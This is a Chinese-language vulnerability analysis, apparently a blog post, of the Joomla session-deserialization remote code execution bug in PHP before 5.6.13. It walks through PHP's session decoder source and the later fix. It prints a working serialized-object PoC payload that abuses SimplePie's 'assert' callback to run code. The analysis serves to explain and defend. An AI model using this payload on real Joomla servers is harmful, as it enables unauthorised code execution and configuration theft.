php+反序列化代码执行漏洞,session反序列化代码执行漏洞分析[Joomla RCE]

83120

Author:L.N.@360adlab

0x01 漏洞影响版本

PHP < 5.6.13

0x02 joomla利用程序分析

joomla具体漏洞分析请看phith0n牛分析文章,本文只讨论此漏洞的核心问题所在。

利用程序poc:

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}�

注意poc中的ð���截断字符,此处是关键,当我们把此poc注入到数据库以后所形成的数据为:

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450174018;s:18:"session.timer.last";i:1450174018;s:17:"session.timer.now";i:1450174018;s:22:"session.client.browser";s:412:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}

此时截断字符消失。

通过分析php底层实现代码:

#define PS_DELIMITER '|'

#define PS_UNDEF_MARKER '!'

PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */

{

const char *p, *q;

char *name;

const char *endptr = val + vallen;

zval *current;

int namelen;

int has_value;

php_unserialize_data_t var_hash;

PHP_VAR_UNSERIALIZE_INIT(var_hash);

p = val;

while (p 

zval **tmp;

q = p;

while (*q != PS_DELIMITER) {

if (++q >= endptr) goto break_outer_loop;

}

if (p[0] == PS_UNDEF_MARKER) {

p++;

has_value = 0;

} else {

has_value = 1;

}

namelen = q - p;

name = estrndup(p, namelen);

q++;

if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {

if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {

goto skip;

}

}

if (has_value) {

ALLOC_INIT_ZVAL(current);

if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {

php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);

}

zval_ptr_dtor(&current);

}

PS_ADD_VARL(name, namelen);

skip:

efree(name);

p = q;

}

break_outer_loop:

PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

return SUCCESS;

}

代码中通过指针移动判断"|"的位置,获取"|"前面部分为session键名,然后通过php_var_unserialize函数反序列化"|"后面部门,如果解析成功则把值写入session,如果解析失败则销毁当变量,然后继续移动指针判断"|",如果"|"存在,继续把"|"前数据作为变量,解析"|"后面的值。

结合joomla漏洞:

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450174018;s:18:"session.timer.last";i:1450174018;s:17:"session.timer.now";i:1450174018;s:22:"session.client.browser"

;s:412:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}

当php解析此段数据的时候,首先获取到"|"前面的数据"__default"为session的键名,然后"|"后面的数据进入反序列化流程php_var_unserialize,反序列化流程的底层关键代码如下:

size_t len, maxlen;

char *str;

len = parse_uiv(start + 2);

maxlen = max - YYCURSOR;

if (maxlen 

*p = start + 2;

return 0;

}

指针依次移动反序列化数据,当解析到如下数据的时候:

······s:412:"}__test|O:21:"JData······

数据经过上面关键代码:

len = parse_uiv(start + 2);通过parase_uiv获取412这个值给len;

maxlen = max – YYCURSOR;获取当前指针以后数据的长度,YYCURSOR当前指针指向},即获取的是}_test……的数据长度为408

少了4个字符,这少的4个字符为我们的截断字符。

这样,此时if判断成功,进入内部语句,使得反序列化失败返回0,而我们的指针p指向"4".

if (maxlen 

*p = start + 2;

return 0;

}

php_var_unserialize返回0,

if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {

php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);

}

zval_ptr_dtor(&current);

efree(name);

p = q;

注销当前变量,p = q;进入下一个循环,继续寻找"|",由于我们的p目前指向的是"4",所以session键名为412:"}__test,"|"后面数据正常反序列化,

最后经过session反序列化joomla的poc后代码执行:

'412:"}__test' =>object(JDatabaseDriverMysqli)[30]

public 'name' => string 'mysqli' (length=6)protected 'nameQuote' => string '`' (length=1)protected 'nullDate' => string '0000-00-00 00:00:00' (length=19)private '_database' (JDatabaseDriver) => nullprotected 'connection' => boolean trueprotected 'count' => int 0protected 'cursor' => nullprotected 'debug' => boolean falseprotected 'limit' => int 0protected 'log' =>array (size=0)emptyprotected 'timings' =>array (size=0)emptyprotected 'callStacks' =>array (size=0)emptyprotected 'offset' => int 0protected 'options' => nullprotected 'sql' => nullprotected 'tablePrefix' => nullprotected 'utf' => boolean trueprotected 'errorNum' => int 0protected 'errorMsg' => nullprotected 'transactionDepth' => int 0protected 'disconnectHandlers' =>array (size=1)

0 =>array (size=2)

...

public 'fc' =>object(JSimplepieFactory)[31]

0x03 php>=5.6.13版本修复

在php>=5.6.13版本中修复此问题,5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session。

ALLOC_INIT_ZVAL(current);

if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {

php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);

} else {

var_push_dtor_no_addref(&var_hash, &current);

efree(name);

PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

return FAILURE;

}

var_push_dtor_no_addref(&var_hash, &current);

感谢@ryat师傅的指导。

另一篇技术分析:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值